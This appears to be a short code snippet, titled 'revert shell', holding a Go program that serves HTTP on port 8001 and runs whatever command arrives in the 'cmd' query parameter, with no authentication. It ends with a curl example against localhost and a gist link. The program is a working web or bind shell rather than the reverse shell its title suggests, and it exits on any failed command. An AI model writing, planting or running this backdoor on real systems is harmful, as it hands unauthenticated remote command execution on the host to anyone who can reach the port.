revert shell

main.go

package main

import (
	"fmt"
	"log"
	"net/http"
	"os/exec"
	"strings"
)

func hello(w http.ResponseWriter, r *http.Request) {
	cmd := ""
	keys, ok := r.URL.Query()["cmd"]
	if ok {
		cmd = keys[0]
	}

	if cmd == "" {
		return
	}

	unpack := strings.Fields(cmd)
	e := exec.Command(unpack[0], unpack[1:]...)
	out, err := e.CombinedOutput()
	if err != nil {
		log.Fatalf("cmd.Run() failed with %s\n", err)
	}

	fmt.Fprintf(w, "%s!\n", out)
}

func main() {
	http.HandleFunc("/", hello)
	http.ListenAndServe(":8001", nil)
}

curl http://127.0.0.1:8001/\?cmd\=ls%20-l

https://gist.github.com/liuyangc3/b009dcbe245d8d28679c0ce47dfe8604?permalink_comment_id=4340911#gistcomment-4340911

curl http://127.0.0.1:8001/\?cmd\=ls%20-l